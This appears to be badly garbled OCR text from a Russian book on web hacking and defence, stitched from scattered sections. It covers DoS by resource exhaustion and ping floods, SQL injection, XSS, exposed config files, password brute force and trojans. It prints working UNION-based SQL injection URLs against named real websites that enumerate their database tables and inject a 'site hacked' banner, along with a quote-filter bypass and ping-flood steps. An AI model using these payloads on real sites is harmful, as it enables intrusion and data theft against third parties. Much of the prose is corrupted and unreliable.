Kak 5t ysxe ckasan, mobas CYBJl umeeT cniaboe MECTO B BHAIE 3a1a4H, BHINONHEHNHE
KOTOpOH Tpelyer sHaunTenbHbIX pecypeos. Ecnin Web-cepsep u CYB]I vaxonares
Ha OHOM (PUIUMECKOM CEpBepe, TO 3T ettie GONbIIE YCNOKHHT 2a0auy N0 3ALMTE
OT AaHHOM ATAKH.

8.5. [ipyrue pecypchbl

TpoueccopHOe BpeMa — HE SAUHCTBEHHOE, NTO MOXKET MOBMATH Ha pabory Web-
cepaepa. OH MOXET repecTath paGoTaTh M IIPH OTCYTCTBUM JOCTATOHOTO MCKO-
BOTO NPOCTPaHCTBA. Bot TYT CHOBA BO3HHKAET npoGneMa BOZMOXHOCTH 3arpy3ku
daiinos ua Web-cepsep. Xakep MoKeT 3arpysuTh cTonbko $alifioB, YTo Bee npo-
CTPaHCTBO Gyue‘r 3aM0/HCHD, W MPHUEM HOBLIX NAHHBIX CTAHET HEBO3MOXHbLIM,
Belb UX Herae GyAeT coXpaHuTb. 3TO OAHA U3 MPHYHH, IO KOTOPOH MHOTHE Mpo-
TPaMMUCTEL CTPEMATCA OTpaHW4MTh pasMep 3arpyxkaemeiX Qaiinos. Uem Mmenbile
BOIMOXKHBIH pasmep sarpyxaemoro ¢aiina, TeM Goablle HYXKHO TPHACKHTE YCH-
s, 4TOGEY 3anONHKTL BCe AUCKOBOE mpocTpaHcTeo Web-cepsepa. A eciu ewe
CHEATb OrPAHHYEHHE HA KONWYECTBO 3arpy30K OT OMPEAEIISHHOTO NOE30BATENT
unu IP-MPSCB, TO BO3MOXHOCTh yCIexa TaKOH aTaKH 3HAYUTENbHO YMEHBLLACTCA.

Ho dafinbl He GAMHCTBEHHOE, YTO MOMXHO 3arpyxaTh. ECH ecTh GopyM, TO MOXKHO
HAMHCATh NPOTPAMMY, KOTOpas B uMkie GyAeT OTHpasiATh coobuienus, conep-
sawme Boabinyio coseTckylo sHUMKIONENMIO, TakiuM 06pa3oM, MOXKHO 3aTONTHKTE
Bce csoGonnoe npocrpancTso CYBJI M nosbioBaTent HE CMOTYT OCTABAATH HOBbIE
coobeHus, a ekotopsle CYB]I npu HexBaTke AUCKOBOTO MPOCTPaHCTRE BoOGIe
nepecranyT paGoTaTh.

CeoGoaHoe AMCKOBOE MPOCTPAHCTEO HEOGXOAUMO He TOABKO NAHHBIM, HO U XKyp-
HalaMm TpaH3akuui u xypuanamM Web-cepsepa. Eciin 3ToTO mpocTpaHcTsa He Gy-
net, 1o pabora Moxer ObiTh HapyweHa. VIMEHHO NO3TOMY KenaTefbHO CHENaTh
OFpaHHMEHHA Ha pasMep cooGuenuii W Ha QopyMax, W B TOCTEBbIX KHHrax,
¥ B JAIOGbIX IPYr#X CUEHADUAX, KOTOPLIE MOMYYAIOT NAHHBIE OT MOML3OBATENA.
Hanpumep, naxe 4epe3 NpoCTYHO NOAITACKY Ha HOBOCTH MOXHO NepenoiHuTh Gasy
A2HHBIX BeccmbIceHHEIMUA appecaMu BJ'IeKTpOHHOﬁ MOYTHI. )Ia, ITO YXKe CnoXHee,
HO [TPHA AOMKHOM CTapaHHH BO3MOXHO BCE.

Hrak, npu nomy4yeHdn mo6bIX NaHHBIX OT NONLIOBATENA H NEPEl COXPAHEHUEM UX
8 6ase NaHHBIX HeOGXOMMMO PEanu3OBaTH CEflyIOUIME BE NPOCTHIE IPOBEPKH:

€] Henb3a OpHHMMATL OT O[HOFO FIONB30BATENA GoNee ORHOTO cooGueHns 3a on-
penenenHbili NpomexyTok Bpemend. Hanpumep, na gopyme Takoh npomesky-
TOK BPEMEHH J0KeH GhITb HE MEHEE 2 MUHYT;
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Gyner gocTynHo ToAbKO coobieHue o6 ommbie, B kOTOPOM HeT HeoGxomuMO
undopmaLIn.

Frror 1064 Y06 buve i orcor i Yol SQU syatix.

Pnc. 5.4, PesynsTar nepeaym B K@4ECTRE NaPamMeTPa OAWHAPHON KaBbIYKH

5.2.1. C6op uHdopmayuu

Tpexxne ueM NpPOIOIKHTS aTaky, xaxepy HeoGxorHMo cobpaTh Kak MOXHO Gomb-
we uHGOPMAUMK O CUCTEME, B KOTOPYIO OH Monafl. JKenaTeNbHO MORYUHTL che-
RyloLyio HHGOpMALIIO:

1. Hms Tekyweii 6a3bl AaHHBIX, & Nyylle BeeX AOCTYMHEIX Ga3.

2. Umena Tabnuu. .

3. Hmena noneii.
4

. MMs nonb3omarens W napofts, OT MMEHK KOTOPHIX NPOMCXOAMT obpatueHue
Kk Gaze nanHeIX. [1apons Mbl MOMYHMMTE HE CMOXKEM, 8 BOT X3II-CYMMY MOXHO
nony4uts. Eciu naponk npocroii, o ero moxwuo Gyner B Synymem nogofpars
C MOMOMILIO CELMATH3UPOBAKHBIX IPOrPaMM.

B stom pa3fene Mol NMOroBOPHUM O TOM, KaKUM OGPBBOM MOXHO NMOTYYHTh MAKCH-
MAJILHO BO3MOKHYIO MHGOPMAURIO.

HUrtak, KaKk MOXHO MOCYHTAThb KomuuecTso morneii? CaMblil npocToli cnoco6 —
olseauHerne union ¢ apyrum SQL-sanpocom. Koraa mea SQL-3anpoca oGteau-
HAIOTCA uyepes union, TO OHH 6y11yT BbINO/THEHB!, TONBKO €CHH oba IO!!PBU.I!DOT
O/IMHAKOBOE KOIMYECTRO NOAEH W THAbI COOTBETCTBYIOLIMX nonei HMEIoT COBMEE=
THMBIA THA.
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XORMT JOCTATOMHO GHICTPO, HO GOMLIIAL YACTs TECTOR GAHANLHO NpoBEpAET HANM-
HHE MOCNEAHNX OGHOBISHMIA

i
© Anstpear

Sciing e o e
sl Uole S
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ey

Puc. 1.2. Mporpamma Microsoft Baseline Security Analyzer

C Touku 3peHus Xakepa, mporpaMma Microsoft Baseline Security Analyzer Gecno-
JIe3Ha, MOTOMY YTO OCHOBHBIE TECTHI POBOAATCH NOKAIBHO. A BOT C TOUKH 3PEHHS

AIMMHUCTPATOPa, MPOrpaMMa OueHb YA0BHA Y FIOMOKET YBMACTb OCHOBHBIE He-
AoccTarky Ge3onacHOCTH.

B nocneaHee Bpema GOMBUIYIO MONYIAPHOCTE HABUPAET TIPOMYKT POCCHACKOR KOM-
natnk "Tlosutne TexHonomkuc” (www.ptsecurity.ru) nox nHassanuem XSpider
(puc. 1.3). Oueb KatiecTaenHas pa3paCoTKa, HOSTOMY 5 COBETYIO IPHINALCTLCR K Hel.

S He CTaHy PEKOMEHIOBATb [AAS WCTIOMB3OBAHMA KAKOH-TO OTpenencHHbii npo-
aykr. TToka He CyniecTBYeT TAKOrO CKaHepa Ge30MmacHOCTH, B KOTopoM Guita Gl
6aza asCOJHOTHO BCEX MOTEHLMAIBHBLIX yHBBMMOCTCﬁ, nOBTOMy cKaunmakiTe 8ce,
4TO NOMAETCA MO/ PYKY, H TECTHPYHTE CHCTEMY BCEMH AOCTYNHLIMH NPOrPaM-
mami, Boamoxuo, uto-To BaM v npuroautcs. Ho obasatensiio obpature niuma-
nuc Ha NpoAYKTH koMnatkH ISS (Internet Security Systems, www.issaiet), toromy
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// OTotpakaem COOGHEHMA M3 Gashl

$result=mysql_query("SELECT poster_name, post_text FROM
minibbtable posts"):

if (mysql_num_rows{$result}>0}
{
print{"<table width=100% border=1>*};
print{"<tr bgcolor=\"#AA1B1B\">"};
print{"<td><font color=\"#FFFFFF\">User</font></td>");
print{"<td@><font color=\"#FFFFFF\">Megsage</font></td>"});
Print{"</tr><tr>");
// Tloryyaem peaysnTar 3ampoca
while ($line=mysql_fetch_array{$result, MYSQL_ASSOC))
{
print("<tr>"};
print("<td>$line[poster_name]</td>"};
print("<td>$line(post_text)</td>*);
print("</tr>"}; '
}
print{"<table>"};
}
2>
</BODY>
</HIML>

He Gynem ceiivac oOpaliaTh BHUMAaHHE HA TO, YTO B CLEHAPUM €CTH EIle U MG~
Ka, NO3R0O/IAIOWIAA peani3oraTh SQL-HHBEKUHIO, Belb MONYHaeMbIE OT M0/b30BA-
Tens JaHHBIE HUKaK He posepsioTes. Hac cefiuac WHTEpeCyeT COBEPILEHHO APYroe.
Hrak, ecsiv 1onL30BaTeNb NPOCTO OCTABMACT TEKCT COODLICHYS, TO HHKAKMX TMpo-
Gnem HeT. A 4To, ecni B TekcT coofluenus Gyaet scrpoen JavaScript-kon? Ow Gy-
1T BLIFIONHEH, 8 3TO CEPhesHas YA3BUMOCTh!

Tonpo6yem nepenaTs B TEKCTE COOBLICHHS NK HMEHM ONBIOBATENS CTPOKY:
<script>alert ("This is a test")</script>

Jra ctpoka asAseTcs JavaScript-KOROM, KOTOPEIR BLIBOAMT HA 3KPaH AMANOrOBOS
okno ¢ coobimenuem “This is a test” (puc. 10.1).
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cnegytownii  URL:  http://www.classicstoday.com/Classics/ConcertReview_
ASPFiles/ViewConcertReview.asp?Action=User &ID=9999283 %20union %
20all %20select % 20null, TABLE_NAME,'<h1>This %20WEB %20site %
20Hacked</h1>',null,null,null,null,null,null % 20from % 20INFORMATION_
SCHEMA.TABLES.

UYrobbi ysupers Bropoe uma Tabnwue, A goBasun ycnoswe: “"WHERE
TABLE_NAME not in (BMG_members')". To ectb % sanpocun oroGpasuts
HMeHa Beex Tabnuu, kpoMe HanecTHRIX Mue. Tlonueil URL Teneps Buirnagen cne-
nywownn  ofpasom:  hitp://www.classicstoday.com/Classics/ConcertReview_
ASPFiles/ViewConcertReview.asp?Action=User&[D=9999283 % 20union %
20all %20select % 20null, TABLE_NAME,'<h1>This % 20WEB % 20site %
20Hacked</h1>'null,null,null,null,null,oull %20from %20INFORMATION_
SCHEMA.TABLES %20WHERE % 20TABLE_NAME %20n0t %20in %
20('BMG_members').

PeaynbTarT MOXKHO YBUASTH Ha PHC. 6.13, Ha KOTOPOM TOKa3saHH! ABA OKHa C pe-
IyAbTaTaMH ofoux 3anpocos.

Samcont Ponvigos and cForrfionts.

{CommmRaview

This WEB site Hacked

o

9 foon—
iy

. e

Puc. 6.13. [1sa okHa C OTOGPAXEHUEM PaIHbIX MEN TaBnnL, KOTOPbIB H NONYyYN
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OTBedaTh Ha 3aNPOCH! KIHEHTA, T. €. COBEpLIMTCA Kiaccuueckas DoS-ataka uepes
nepenonnenie Gydepa.

Taknm 06pazoM, KOMMbIOTEP HE BITOMANM, X HHBOPMALK oCcTanach HeTpoHyTol,
HO CepBep nepecTan OLTs TOCTYNHBIM No ceTi. B nokansHol ceTh Takyio ataky
BoOGLLe HecnoxHo npouseecti. JIna sroro aocrarouHo ceoit [P-anpec nomensTs
Ha aapec aTakyemol MawwHbl, W npouloiaeT xouIMKT. B myuiem ciyvae He-
JOCTYNHOM CTAHET TONLKO MITYPMYeMas MalllHa, a B Xy/lleM — 06¢ MAUIMHEL He
cMoryT paGoTaTh.

Jins neperpy3ki PecypcoB aTakyemoil MauuHbl BoOGIe He HAZO HH4Ero 3HATD,
TIOTOMY 4TO 3T BOWHa, B KOTOPO# Nofexaaet TOT, KTO CHAbHee. Pecypchl MoGoro
KOMTbIOTepa orpaHuuensl. Hanpumep, Web-cepeep ans cBA3M ¢ KITMEHTAMH MO-
JKET OPraHU3CBLIBATH TONBKO ONPEAENEHHOE KONMYECTBO BUPTYANLHBIX KAHANOB.
Ecnu ux cospats Gonbite, To Web-cepeep CTaHOBHTCA HeAOCTYnNHbIM. Jna coBep-
WEHKA TAKOH AKUMM OCTATOYHO HANMCATh NPOrpaMMy Ha MoGoM sasblke npo-
rpaMMHpOBaHHs, GecKOHEUHO OTKPhIBAIOUIYIO CoeauHeHus. Pako wiM nozpHo
npeaen GyaeT npeskILLEH, H cepBep HE CMOKET paboTaTh ¢ KIHEHTaMK.

Ecnn HeT nporpaMMHBIX OrpaHuueHMi Ha pecypchl, To cepeep Gyfer obpabarst-
BaTh CTONbKO NOAKIIOMEHNH, CKONbKO CMOKET. B TakoM Ciiyuae araka MOWET
MPON3BOANTLCA HA KaHAN CBA3M MM Ha cepBep. BuiGop ueu 3aBHCHT OT TOro, 41O
cnabee. Hanpumep, ecnn Ha karane 8 100 MGHT/C cTOHT KOMNBIOTEp © NPoLEcco-
pom Pentium 100 MI'y, TO HAMHOTO NPOIRE BHIBECTH M3 CTPOA KOMNBIOTED, HeM
nePerpysuTs AaHHBIMK KaHan cBa3H. Hy, a eciii 3To JOCTaTOMHO MOMIHbIN CepBep,
KOTOPbIH MOXET BBINOMHATh MHJLTMOHEI 3aNPOCOB B CEKYHAIY, HO HaXOAMTCA Ha
kaHane B 64 KGut/c, To nerue 3arpysuth kanarn.

Kax npoucxonut sarpyska kanana? JIonycTiM, 4TO Bl HAXOAWTECH B MaTe, W KTO-
TO BaM HarpyGun. Bel yswaete ero IP-anpec u spiscHsercs, 4To o6uauuk paGoTaer
Ha NPOCTOM MOIEMHOM COEIMHEHHM CO ckopocTeio 56 Kbur/c. lake ecnn y Bac
Takoe e coeauHeHHe, MOXHO Ge3 npobneM neperpy3uth kauan obupuuky. Jns
3TOr0 HanpasnseM Ha ero IP-a;pec GeckoneyHOe KONMYECTBO ping-3anpocos
¢ Gonbium pasmepom nakera. KomnsioTep xepTebl AomkeH Gyaer oTeedaTs HA
1mx. ECM nakeTos MHOTO, TO MOLUIHOCTH K2HANa XBATHT TONLKO Ha TO, HTOGBI
1IpMHKMATh W OTBEATh Ha Ping-2anpochi, U OGHAUMK yKe He CMOXKET HOPMAILHO
pabotats B MkepHere. Ecnin y Bac kanan takoii xe, To W Baiie coeaunenue Gyner
HHHATO HCKSTIOUHTENBHO TIPHEMOM-OTCHITKOM GOMBLIMX nakeToB. 3T TOro CTouT?
Ecnin a2, To MOXETe NpuUcTyYnarh.

Jl1a peannsauny DoS-aTaky ¢ IOMOMIBIO PiNg-320pOCOB BOCTIONb3YEMCA YTHIHTON
CyD NET Utils. 3anycrure nporpammy u Bbifepute 8 metto Utils | Ping server.

B nossuBlIeMcs okie nepeiauTe Ha Briaaky Options (puc. 1.4). B none Number
of packets (KOTHYECTBO NAKETOB) BBEAMTC O4eHb GONBILIOE SHAHCHHC (HECKONLKO
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Ecu  stm  pasueie  Gymyt B daiine config.dat, To, naGpaz URL
http://server/config.dat, xakep yaauT coaepxumoe daitna. Ho ecan paciumpe-
aue Gyner .php, 10 Web-cepsep rombiTaeTcs BHINOIHKTL €ro, 8 T. K. 346Ch Kofa
KaK TAKOBOTO HET, TOMbKO QGBLABIEHHE NEPEMEHHBIX, 3HAUHT, pesynsTaToM Gynet
TpocTo myctad Web-CTpaHHLA W XaKep HUUETO HE YBHAMT. Tak YTO Jydlle XpaHuTh
koHgurypaumio B daiine config.php win options.php. Yro6ikt ncnionszosarh STOT
¢aits, KOCTATOUHO ero NOMHOYKTH C NOMOmBIO PYHKUMM include (nucTar 3.11).

<?
// 3mech nepeMeHHNe euWe He CYWECTEYIT

print ("<P><B>Databage name:</B> $dbname");

print ("<P><B>Database user name:</B> $dbugername*};
print ("<P><B>Database password:</B> $dbpass”);

// Tomkmaaem gadtn
include("options.php") ;

// A 3nech nepeMeHHHe yXe CYWECTEYKT
print("<P><B>Database name:</B> $dbname") ;

print ("<P><B>Database user name:</B> $dbusername”);
print ("<P><B>Database password:</B> $dkpass”);

>

TlepeMeHHbIe C UX 3HAYSHUAMM, IPOMUCAHHBIMK B daline koudurypauun, Syayt
JOCTYNHbI TOALKO MOCNE NOMCTIOYEHHA W HE pasce. B pesynbTate BbIOTHCHUS
3TOTO Ko

Notice: Undefined variable: dbname in /var/www/html/options/index.php on
line 2

Database name:

Notice: Undefined variable: dbusername in /var/www/html/options/index.php
on line 3

Database user name:

Notice: Undefined variable: dbpass in /var/www/html/options/index.php on
line 4 :

Database password:

Database name: MyDatabase
Database user name: piter
Database password: qwerty





index-210_1.png
206 Inaea 6

waeT mond, UMEWWe THN text, a mouckoswii SQL-sanpoc wa Web-caiite
WWW,.SOCCEramerica,com ABHO BO3BpAIIACT TaKHE MONA, W NPH KUCTNOAL30BAHHH
union NOAGOP HHKOTAA HE AACT PEIY/BTATA, TOTOMY HTO B JOGOM Clyyae NpuBe-
ZET K OWKOKE BLINOAHEHH.

Napy muxyr nonbopa W g BescHun, 4TO nouckosbridl SQL-sanpoc Bo3epaimaer
18 moneii, DOTOMY uTO ClieftyIOman CTPOKa, yKa3aHHas B [10/ie OUCKa, He BbINATa
owubok:

Test' union all select null, null, null, null, null, null, null,
null, null, null, null,

null, null, null, null, null, null, null - .

Jlna MpocTOTH 4 BBOAMN 3Ty CTPOKY HE B MOAE TOMCKA, a KOPPEKTHPOBAN €6
8 ctpoke URL, koTopas npusisia cieayiounit sun: http://www.socceramerica.com/
searchResults.asp? T2=test %27 %20union % 20all % 20select % 20null,null,null,
null,null,null,nall,nullnall,null,null,pull,nnllnnll,nullnollnollnull --.

Yro penatb Tereps? IMonpofyem obpaTuTeca k kakof-HuGyns cHcTeMHOM Tabau-
Lte, HANpUMep, INFORMATION_SCHEMA . TABLES, 4epe3 KOTOPYIO MOXKHO Y3HaTh HMEs,
na Tabauu B Gase pasmbix. Jlna toro no6aeMM B KOHeL 3ampoca CrieylOLee:
“from INFORMATION_SCHEMA TABLES”", T. e. Temeph BTOpOH H3 0fbs
€AMHEHHBIX 3aMmpocoB BbIGHpaeT HysieBbIe Mo U3 cHCTeMHOM TaGmuun. Tenepy
URL  suiriaauT  cpenytowdm  ofpasom:  hitp://www.secceramerica.comy
searchResults.asp?T2=test %27 %20union %20all % 20select % 20null,null,null,
null,null,null,null,null,nullnull,null,null,nulloullpullnull,pulloull % 20from %
20INFORMATION_SCHEMA.TABLES--.

PesynbTaT mopasuTesnbHblii: y MeHS XBATWAO Npas Ha npocMoTp 3ToH TabAuuB
Tenepb B pe3ynbTaTe MOUCKA, MOMHMO 9 HOPMANLHBIX 3aMKCel, KOTOPbiE Conep
KaT Pe3y/bTaT NOKCKA MePBOTO 3anpoca SELECT, NOSBUIOCE MHOXKECTBO 3amuceld
W3 pe3yAbTaTa NOWCKA BTOPOTO 3anpoca SELECT (puc. 6.7).

Yro BepHyn sropol SQL-3anpoc, koTophit Mel BHeApHnM? OH BEPHYR CTOABKO,
3ankced, ckONbkO CTPOK B TaGAiLe INFORMATION_SCHEMA.TABLES, HO TIDH 3TOM
BCE MONA B Pe3yNbTHPYIOLLeM Habope HyeBble, TOTOMY YTO MBI HE YKA3ATH HYX~
HbIe. A KAKOe None MOXKHO BhiGpaTh U rae ero ykasath? Meron "HayuHoro Thika"
(MMEHHO Hay4$HOFO) MOKa3an, 4To TPeThe Nofie B 3afpoce -— 3TO 3aroOBOK pe~
3yAbTaTa NOMCKA. VIMEHHO B 3Ty NOMUMIO HYXHO BCTaBMTh Ha3saHMe MOng
TABLE_NAME i Tenepk BHenpeHHbIii SQL-3anpoc BEpHET Bee HMEHA HCNOTbIYeMbIX
Tabnun. MOl pe3ynkTaT MOKHO yBMAeTh Ha puc. 6.8 (umena Tabmuyu Bhize-
JIeHBI TIPAMOYToNbHUKOM), a cTpoka URL, koTopas npusena k 3TOMY, BHIFAAIKT
cneaytowmm obpasom: http://www.socceramerica.com/searchResults.asp?T2m
test %27 %20union %20all % 20select %201,2, TABLE_NAME;null,null,null,null,

null,null,null;null;nullnull,null,nullnullnullnnll %20from % 20INFORMATION_
SCHEMA.TABLES--.
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3.5.1. KoHdwrypaunoHHsie daitnbi

Korna na Web-cepsepe paboTaeT HEKOTOPOE KOTMHYECTBO CLIEHAPHEB, TO BO3HHKE-
€T CHTyallf, KOTAR HECKONBKUM M3 HUX TPeGYETCH JOCTYN K OIMHOMY Pecypey.
Hanpuiep, ecnu Bbl ucnonb3yere 6asy AaHHbIX, TO AISL MOSY4CHHA [OCACAHMX
HOBOCTeH Heobxofumo cHauana mopkmountbes k CYBJ[. Hrobbl monyuuth Hu-
dopMaumio o BeIGpanHOM POAYKTE M OTOGpPa3KTh e¢ Ha Web-cTpanuue, HeobXxo-
ZMMO TAKKE TOAKMIOYHTECA K 6a3e NaHHBIX. A ANS OMKTIOYEHUs K Hefi HeoGxo-
mumsel: agpec CYB]I, rae oHa pacnonoxkesa (eciiv OHa PacnoNoKeHa Ha APYroM
KOMIILIOTEPE), HMA [ION1B30BATENA, NAPO/L U MMA CaMoli 6a3bl AanHbIX.

XpauuTh pazfenseMy0 MHOOPMALMIO B KaXAOM aiine CleHapHs HEBBIrOAHO.
JlonmycTuM, ¥TO XaKep Y3Han mapofb HOCTya k fase HAHHBIX, M B 3TOM CNyvae
NPUIETCA €r0 H3MEHWTb, & TIOTOM MOAKOPPEKTHPORaTH BCE (alinbl cueHapues,
MHaue OHW HE CMOTYT MOAKUTIOYUTLCA K Hel. DTO YTOMUTENBHOE 3aHATHE, NO3TOMY
pasnensemyio HHGOPMALIMIO Ty4illé XPaHHUTL B OIHOM MecTe.

I'ne xpanuth pasnensemyto undopmaumo? s 5THX LeAei MOKHO MCIIONB3OBATE
NpocTOl TEKCTOBLIH (aitn ¥ MOAKNIOYATh €ro ¢ MOMOLBIO (QYHKUMA include,
BElb BCE MOAKNIOUAEMBIE Daiinbl BLIMONHAIOTCA, Kak 6yATo B HuX ecTh PHP-kon.
M BOT TYT BOSHUKAET QUEHE Ccepbeanad npobrema. Jleso B TOM, UTO MHOTHE npo-
TPaMMHCTH MOGAT AaBath daiinam, XpauswmM KOH(UIypaLMIO, PaCLUMPEHUA THITA
.dat wa .cfg. D70 cepoeanas ownbka.

JlomycTum, 4TO Bbf COXpaHITM mapameTphl B daiine config.dat. Ecin obpatutica
K 3TOMY (aiiny Hanpamylo U3 Spaysepa, o Web-ceprep nossonut nonsiosaresno
YBHAETE COTEpXMMOS Paling, a eCiM TaM NApOIK NOCTYTa K §a3¢ LAHHBIX, TO MO-
HKETe CHKTATD, ¥TO 6a3a NBHHbLIX TIOTEPAHA ANA Bac.

Kax e Torna XpaHuTh pasjensembie napametpbl? Jla ouess npocTo, HyxHo dali-
nam nath paciunpenne PHP. B stom cnyuae Web-cepeep GyneT nX BBINOAHATH,
M €CJTH Bl CAMM HE HAMULIETE KONA, NOKA3bIBAIOLIEro CKPLIThIE JAHHBIE, TO XaKep
Hiuuero He yBUAWT. BTopoli cnoco6 Tosxe He CIOXKHBIM: CO3aTh NPaBHIA AOCTYMA
x ¢aitny ¢ nomomsto .htaccess. [lpocto 3anpervts yaatesnHsiii Noctyn K daiiry
¥ XaKep, MOAKNIOUEHHBIH yIaNeHHO, HE CMOXKET NPOCMOTPETD €F0, 38TO Balll¥ cue-
1apuy, HaxonAwmecs Ha Web-cepaepe, NOKaNLHO CMOTYT €10 HCFIOTL30BATE.
JlaBaiiTe paccMOTPUM BbILIECKA3AHHOE HA NIPHMEpe:
<?

$dbname = 'MyDatabase';

$dbusername = 'piter';

Sdbpass = ‘qwerty’:

>
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5.2.6. BoamoxHble npoGrnemsl

CaszauHbiil 3a0pOC — BLIBOAUT pesy/bTaT o6palieHus K 18yM 1 6onee CBA3aHHEIM
Tabauuam. Ecnu ceask HABOANTCA TOC/E MEPEMEHHOM, B KOTOPYIO Mbl BHEApAEM
KOZI, TO €& HeOGXOAUMO BOCCTAHOBHTE, TIPENAE YeM CTaBHTh KoMMeHTapuid. Ha-
TIpUMep, clieHapuil BbinoAHACT cneayiomuit SQL-3anpoc: '
SELECT *
FROM tablel tl, table2 t2
WHERE pogterName='Susername’'

AND tl.keyfield = t2.keyfield

Ecnn B nepeMeHHON $username SyAeT NpOCTO OAMHAPHAA KABBIYKA W OTKPBITHE!
KOMMEHTapHA, To pesynbTat Gymer HexenaTensHum. Heobxonumo B nepementoll!
nepenasaTh U CBA3b, HANPUMEP:

' AND tl.keyfield = t2.keyfield and ... /*

Ec/i KaKkai-TO KOMaHIa H¢ BBIFIOHACTCA, TO 5TO MUIIOC AAMHHHCTPATOPY, KOTO-=
pbiit 3a6NOKMPOBAN AOCTYN, WAM DPOCTO Y BAC HET NPas HA BhINOAHEHHe AanHOH
KOMaHIbl.

Ewe oHa nperpazia, KoTOpyIOo yCTAHARTHBAOT 4AMUHUCTDATOPE! U IPOrPAMMHCTRY
nepea Xakepami: napaMeTp magic_quotes_gpc. ECaM 3TOT napamerp sKmoueHj
TO 7IEpen OMACHBIMK CHMBONIAMH, TAKHMH KAK O/IMHAPHASA KABBINKA, YCTaHAB/IMBA=
erca cai, C omHOH CTOPOHBI, 3TO XOPOLO, MOTOMY TO €C/IH XaKEp B KauecTaed
napaMeTpa TepefacT KaBbiuKy, TO OHa He GyZeT MMeTh CheLHanu3upOBAHHOTGH
3HaMeHHA. A B MeM e TOrha HENOCTaToK 3Toro napaMeTpa? B Tom, ¥TO OH paca
cnafnaer anMUHKCTPATOPA, M OH HAJEETCA, UTO XAKEP HE CMOXKET UCTONbIOBATH
SQL-HHBEKUNIO, HO 3T He TaK. JaHHYIO 3a1HTy O%eHb erko oboliTu npakTuye-
cku 8 m0Gol CYBJI. Jlna Hauana nOCMOTPHM, Kak 3TO MOXKHO caenath B MySQL.
JlomycTiM, 4TO BB XOTHTE BHEAPHTS crenytowuii SQL-3anpoc:

INSERT INTO table VALUES (1, ‘admin')

Tak kak OXHHAPHAsT KABBINKA HEBOIMOXKHA, ITOT 3aMPOC HE MOXKET GbiTh BbITION-
HEH, a KaK K€ TOTHA NEPEeAaTh TEKCT, ECNM Heb3A MCTIOAL30BATh KaBbluky? Jla
QUeHB ITPOCTO — MEPEAaTh CTPOKY B BUAE KOJ0B:

INSERT INTO table VALUES {1, char(37, 100, 109, 106, 110)}

Teneps B SQL-3anpoce vet kaBbivky, 1 CYBJI €ro BLIMOAHMT Haxke npn BRI~
YeHHOM rnapaMerpe magic_quotes_gpc.

Yrobsr Bam 6un0 ynoGuee, B Tab. 4.1 1 NpuBen Kobl Beex aHTAKNCKUX GyKa.
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BCR4ECKH HeHABMAST BCe, MTO cBa3aHo ¢ Microsoft, n nannbifl cnyuaii méwHO
0NpoGoBaTE OTAEABHO BPYHHYIO.

Hanuuue 3aBefOMO W3BECTHOTO MMEHH ynpomlaer noadop, T. K. OCTAETCR TONbKO
HafTH naponb. [ToaTomy, 4TOGE YCIOXKHKTE TOYMBILLTEHHRKY 3anaqy, HeoBXo~
AUMO W3IMEHWTE UMEHA YUETHRIX sanuceit. Eciu e Bbt Hcrnionb3yere CHOMHBIH
TNapoJjib, TO HMA MOXHO ClenatTe Nonpolle, NoTOMY YTO ero aydile BCEro ACPKATH
B roose. MneanbHbiil BAPUAHT — YCIIOXKHHUTE U NAPOTb, M UM,

Hennoxo 65110 Gb! BKAIOYHTH B CHOBaph MOGEIE UMEHA W NI2PONH, HCTIONBIYEMBIE
RO YMONYGHKIO VT4 pasHbIX ciry6. OeHb 4acTo afMUHHCTPATOPbl 320BIBAIOT MITH
NPOCTO JEHATCH NOMEHATH [APONH Ha CYKGEI, KOTOPbIE 3amylueHbl, HO He Hc-
nonb3yroTes. OcoenHo aTiM rpewat anMmuHncTpaTopkl Windows, yto cegsaHo
© HU3KUM YpOBHeM 3HaHWH cneuwanucTos, paGoTatommx ¢ 7ot OC. Hanpumep,
A cTankuBancs ¢ Hacrpoitkoii MS SQL Server 7.0, 8 koTopoii BIUIO4EHa BCTPOEH-
Hafl y4eTHas 3anMch Sa, U npu 3ToM aGcomotHo Ges napons. Haseprioe, nosvoMy
Microsoft cobupaetcs ybpath 3To WMA yxe B Credytomed sepcun ceoeid CYBI,
a MS SQL Server 2000 Ha kaxzoM Wary npefynpexxaaeT o HeoGXOAMMOCTH He-
TIOML3OBRHUS fIAPOSL.

HHoraa crioxHble Naponi MOFyT Chirparh amyio wyTtky. Ecnu caydaito 3aGerre
MK 0OTEPATh NHCTHK C NAPONEM, TO B CHCTeMy Henib3A Byaer BOHTH M camoMy,
B 3TOM Cllyuae NpuXOAHTCA COGCTBEHHOPYYHO BAMaMblBaTh CHCTEMY nepeGopoM.
Bnaro, 4To Bbl XOTh NpubIM3UTENLHO 3HaeTe CBOH Naponb, U MOXHO YNpPOCTHTh
3ajiady, Cy3UB KOJIMYECTBO BAPHAHTOB.

Jlns nonBopa napons s onsth Mory nocoserosats Shadow Scan unu CyD NET
Utils (Bknioden oueHb XOPOWMIA NeHepaTop cioBapell U peann3oBaHbl noaGopuim-
KM 110 BCeM OCHOBHBIM POTOKO.1aM A/ COOTBETCTBYIOLMHX ciy6).

1.6. TposiHCKMe nporpaMmmbi

Hcnonsaoaune TPOSHCKKX RporpaMm — caMbiii cynsiii (nepeGop naponeii eme
rnynee, HO BCe Xe) M HEHANEXKHBIH B OTHOWEHHH aIMUHHCTPATOPOB CETEH WM
Web-caitros cniocol B3noma. XoTa cpeay aIMUHHCTPRTOPOB BCTPEHAIOTCA HENPO-
(eccHOHANbI, HO HA TAKHE LIYTKH YKe Mano Kro nonagaerca. Ho kpome Hix €cTb
ellle MHOXKeCTBO NPOCTBIX TONb3OBaTENeH ¢ GONbUIMMY NPUBUIETHAMA W A0BOP-
yuBo#t ZYWoi. BOT HMEHHO UM M Hajto YCTaHRBIIUBATH TPOSHCKHE NPOTPAMMBI,

"TposiHCKas nporpaMMa COCTOUT U3 JIBYX uacTeli: KAueHTckol u ceprepHoil. Cep-
NIEPHYIO 4acTh HYKHO NOAGPOCUTL Ha KOMMLIOTEP XEPTBbI M 3ACTABHTD €€ 3amyc-
14T Gaitn. Yaule BCero TposHcKas NporpamMMa NPOnKCHIBRETCA B ABTO3ATPYIKY M
crapTyer Bvecte ¢ OC, ¥ py 3TOM He3aMeTHa B cucTeMe. [locne 3Toro Bl noa-
WIHOYAETECH K CEPBEPHON YaCTH C NOMOLLBIO KIHEHTA H BbINOMHACTE 3AJI0MKCHHBIO
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O OMMCaHUA MONA BBOAA UMeHH dafina. Takum obpaiom, hopma otrnpasky daiina
GyneT BEIFTAETD CICAYIOLIHM 06pasom:

<form action:

"http://192.168.77.1/1/post . php" method="post"
